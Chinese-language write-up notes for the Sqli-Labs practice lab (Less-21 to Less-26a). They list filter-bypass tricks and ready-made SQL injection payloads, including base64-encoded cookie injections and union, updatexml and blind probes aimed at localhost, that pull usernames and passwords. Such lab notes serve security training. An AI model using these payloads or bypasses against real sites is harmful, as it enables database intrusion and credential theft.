Sqli-Labs做题笔记:Less-21 - Less-26a

绕过：

过滤关键字

穿插关键字绕过：

• select selselctect
• or oorr
• union ununionion

大小写转换：

• select SelECt
• or Or
• union uNIon

十六进制转换：

• select selec\x74
• or o\x72
• union unio\x6e

双重URL编码：

• select %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
• or %25%36%66%25%37%32
• union %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65

过滤空格

注释绕过：

• #
• –
• //
• /**/
• ;%00

例如： select/**/username/**/from/**/user

双重URL编码：

• %20 %2520

Less-21:

Cookie:uname=YWRtaW4nKSBvciBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDdlLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzIHdoZXJlIHVzZXJuYW1lIG5vdCBpbiAoJ0R1bWInLCdBbmdlbGluYScpKSwweDdlKSkgLS0gIw==

Less-22:

Cookie:YWRtaW4iIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N2UscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMgd2hlcmUgdXNlcm5hbWUgbm90IGluICgnRHVtYicsJ0FuZ2VsaW5hJykpLDB4N2UpKSAtLSAj

Less-23:

http://localhost/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3

Less-24:

PHP代码审计

Less-25:

http://localhost/sqlilabs/Less-25/?id=-1%27+union+select+1,(select%20group_concat(concat_ws(%27-%27,id,username,passwoorrd))%20from%20users%20%20),3+--+#

Less-25a:

http://localhost/sqlilabs/Less-25a/?id=-1+union+select+1,(select%20group_concat(concat_ws(%27-%27,id,username,passwoorrd))%20from%20users%20%20),3+--+#

Less-26:

http://localhost/sqlilabs/Less-26/?id=?id=0%27||updatexml(1,concat(%27$%27,(select(concat(%27$%27,id,%27$%27,username,%27$%27,passwoorrd))from(users)where(username)=%27Dumb%27)),0);%00

Less-26a:

http://localhost/sqlilabs/Less-26a/?id=1%27)%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))%3E65)||(%271%27)=(%271